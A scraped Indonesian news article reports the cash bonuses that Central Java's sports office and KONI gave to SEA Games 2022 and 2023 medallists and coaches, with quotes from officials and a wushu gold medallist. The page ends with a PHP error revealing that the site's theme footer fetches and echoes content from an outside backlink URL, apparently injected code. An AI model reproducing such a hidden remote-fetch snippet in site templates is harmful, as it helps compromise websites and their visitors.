Skip to content Skip to left sidebar Skip to right sidebar Skip to footer

Tali Asih untuk Atlet dan Pelatih Jateng Berprestasi

SEMARANG, Radar Semarang- Dinas Kepemudaan, Olahraga, dan Pariwisata (Disporapar) Provinsi Jawa Tengah bersama Komite Olahraga Nasional Indonesia (KONI) Jawa Tengah memberikan tali asih kepada para atlet dan pelatih yang berprestasi di kejuaraan SEA Games 2022 dan 2023.

Kepala Bidang Keolahragaan, Suci Baskoro Wati, menjelaskan pihaknya menganggarkan Rp 1,8 miliar untuk tali asih para atlet dan pelatih berprestasi di SEA Games 2022 Vietnam dan SEA Games 2023 Kamboja. Sebagai bentuk perhatian Pemerintah Provinsi Jawa Tengah kepada para atlet dan pelatih di Jawa Tengah.

“Selain itu, memotivasi para atlet dan pelatih membawa nama harum Provinsi Jawa Tengah, sehingga untuk meningkatkan kesejahteraan para atlet,” katanya.

Tali asih yang diberikan untuk nomor individu peraih emas masing-masing mendapatkan Rp 90 juta, untuk individu peraih perak mendapatkan Rp 40 juta, dan peraih perunggu Rp 20 juta.

Untuk nomor ganda, setiap atlet peraih emas mendapatkan Rp 65 juta, peraih perak Rp 35 juta, dan peraih perunggu mendapatkan Rp 18,75 juta.

Untuk nomor beregu, setiap atlet peraih emas mendapatkan Rp 45 juta, peraih perak mendapatkan Rp 25 juta, dan peraih perunggu mendapatkan Rp 12,5 juta.

Sedangkan untuk pelatih, peraih medali emas mendapatkan Rp 45 juta, peraih perak mendapatkan Rp 30 juta, dan peraih perunggu mendapatkan Rp 20 juta.

“Jumlah yang menerima ada 44 orang di SEA Games 2022 dan 41 orang di SEA Games 2023, dan ini juga berlaku untuk Soina, Olimpic, dan MPC,” katanya.

Ia berharap para atlet yang sudah berprestasi di Jawa Tengah, tetap loyal kepada Jawa Tengah dan lebih berprestasi hingga jenjang internasional.

Atlet Wushu peraih emas, Tharisa Dea Florentina, 22, sangat bersyukur mendapatkan Rp 90 juta. “Mungkin ini ditabung untuk investasi, sebelumnya dapat Rp 525 juta dari Kemenpora,” tuturnya.

Ia berharap tidak hanya mendapat bonus saja, tetapi mendapatkan jaminan pekerjaan di masa depan untuk para atlet.

“Targetnya mendapatkan emas di PON 2024 Aceh-Sumut, kami harus tetap mempersiapkan, tuan rumah harus diwaspadai,” kata atlet kelas 52 kilogram.

Ia mengajak para atlet Jawa Tengah tidak mudah diiming-imingi untuk pindah provinsi lain. “Tetap loyal kepada Jawa Tengah,” jelasnya.

Ketua Umum KONI Jawa Tengah, Bona Ventura Sulistiana, menambahkan, pemberian tali asih kepada para atlet dan pelatih supaya keras bekerja untuk mengharumkan Jawa Tengah. “Ini bentuk kesungguhan KONI agar lebih merasa termotivasi untuk Jawa Tengah,” katanya.

Pemberian tali asih untuk menjaga para atlet dan pelatih untuk selalu loyal kepada Jawa Tengah. “Karena banyak iming-iming untuk membela provinsi lain,” katanya.

Bona berharap, para atlet dan pelatih Provinsi Jawa Tengah bisa berkompetisi lebih baik. Sehingga mempertinggi prestasi. “Karena KONI telah menyediakan fasilitasi untuk kegiatan pelatda, sentralisasi, disentralisasi, bahkan mendatangkan pelatih dari luar negeri kita lakukan untuk para atlet, khususnya pada PON 2024 ini, dan ada atlet Jawa Tengah di SEA Games, Asean Games,” katanya. (fgr)

0 Comments

There are no comments yet

Leave a comment

Your email address will not be published. Required fields are marked *


Warning: file_get_contents(https://backlink.bikinamp.com/jejak.php): Failed to open stream: Connection refused in /home/konijtg/public_html/wp-content/themes/townpress/footer.php on line 3
echo $a; ?>